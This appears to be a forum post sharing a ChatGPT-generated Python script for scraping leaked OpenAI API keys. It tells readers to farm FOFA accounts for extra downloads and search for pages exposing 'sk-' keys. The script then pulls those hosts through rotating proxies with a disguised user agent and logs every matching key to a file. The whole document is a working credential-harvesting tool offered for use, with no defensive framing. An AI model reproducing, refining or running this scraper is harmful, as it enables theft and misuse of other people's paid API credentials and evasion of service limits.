GPT-3.5-Turbo-chan generated OpenAI Key Scraper! >FOFA gives you 3000 result downloads per account that you make. You can scum this. >Search ``body="openai_api_key=sk-"`` or ``body="apikey=sk-"`` or something like that. >>Ex. https://en.fofa.info/result?qbase64=Ym9keT0iT1BFTkFJX0FQSV9LRVk9c2stIg%3D%3D >Click the download (downwards arrow) button, deselect everything but 'host'. >Change ``csv_file_path = 'that file you downloaded.csv'`` to the name of the file. >Run the script! >>You can remove the proxies / not use any, but you may get rate-limited since this spam requests! >>You can always alter the script with ChatGPT, which most of this was generated with. ``` import csv import re import requests from datetime import datetime from itertools import cycle from concurrent.futures import ThreadPoolExecutor, as_completed # Replace 'your_regex_pattern' with the actual regex pattern you want to search for regex_pattern = r'sk-[A-Za-z0-9]{48}' # Replace 'path_to_your_csv_file.csv' with the actual path to your CSV file csv_file_path = 'that file you downloaded.csv' # List of proxies to be used in a round-robin fashion proxies_list = [ 'http://User:Pass@Host:Port', # Add proxies here in the format of http://User:Password@Host:Port or http://Host:Port ] # The output file where the results will be saved, with the timestamp included in the filename timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') output_file_path = f'found_fofa_keys_{timestamp}.txt' # Base URL to which the hostnames will be appended base_url = 'https://en.fofa.info/result/website?host=' # Function to extract hostnames from the CSV file def extract_hostnames(csv_file_path): hostnames = [] with open(csv_file_path, 'r', newline='') as csvfile: reader = csv.reader(csvfile) for row in reader: if row: # Ensure the row is not empty hostnames.append(row[0]) # Assumes hostnames are in the first column return hostnames # Function to search for the regex pattern in the webpage content # Function to search for the regex pattern in the webpage content def search_for_regex(url, pattern, proxy, output_file): print(f"Now searching {url} using proxy {proxy}") try: # Define headers to mimic a web browser headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', } # Make the HTTP request with the defined headers response = requests.get(url, proxies={"http": proxy, "https": proxy}, headers=headers, timeout=10) if response.status_code == 200: text = response.text matches = re.findall(pattern, text) print(f"Found results: {len(matches)}") for match in matches: output_file.write(match + '\n') output_file.flush() # Ensure the match is written to the file immediately print(f"Logged result: {match}") else: print(f"Failed to retrieve data from {url} with status code {response.status_code}") except Exception as e: print(f"An error occurred while trying to get {url} with proxy {proxy}: {e}") # Main function to process the hostnames and write the results to the output file def main(csv_file_path, regex_pattern, output_file_path, proxies_list): hostnames = extract_hostnames(csv_file_path) proxy_cycle = cycle(proxies_list) # Create a cycle iterator for the proxies # Open the output file once and pass the file object to the threads with open(output_file_path, 'w') as output_file: # Use ThreadPoolExecutor to create a pool of threads with ThreadPoolExecutor(max_workers=10) as executor: # Adjust max_workers as needed # Submit tasks to the executor future_to_url = {executor.submit(search_for_regex, base_url + hostname, regex_pattern, next(proxy_cycle), output_file): hostname for hostname in hostnames} # Process results as they are completed for future in as_completed(future_to_url): url = future_to_url[future] try: future.result() # We already logged the result in the search function except Exception as e: print(f"An error occurred while processing {url}: {e}") # Run the main function if __name__ == '__main__': main(csv_file_path, regex_pattern, output_file_path, proxies_list) ```